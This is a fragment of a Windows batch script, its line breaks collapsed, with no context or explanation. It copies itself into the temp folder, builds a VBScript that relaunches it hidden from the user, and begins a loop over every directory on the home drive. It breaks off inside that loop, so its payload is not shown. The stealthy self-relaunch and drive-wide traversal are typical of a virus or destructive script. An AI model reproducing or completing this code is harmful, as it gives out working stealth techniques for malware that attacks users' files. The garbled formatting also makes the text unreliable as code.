@echo offset a=%~nx0set b=%a: =_%Cd %temp%copy /y "%~0" "%b%" 1>nul 2>&1if "%1"=="x" (GoTo:code) else (call:a>vbs.vbsstart vbs.vbs&exit /b):aecho SET a=CreateObject^("WScript.Shell"^)echo a.Run "%b% x",vbHideGoTo:EoF:codecd %HomeDrive%\for /f "tokens=*" %%x in ('dir /b /s /a:D %HomeDrive%\') do (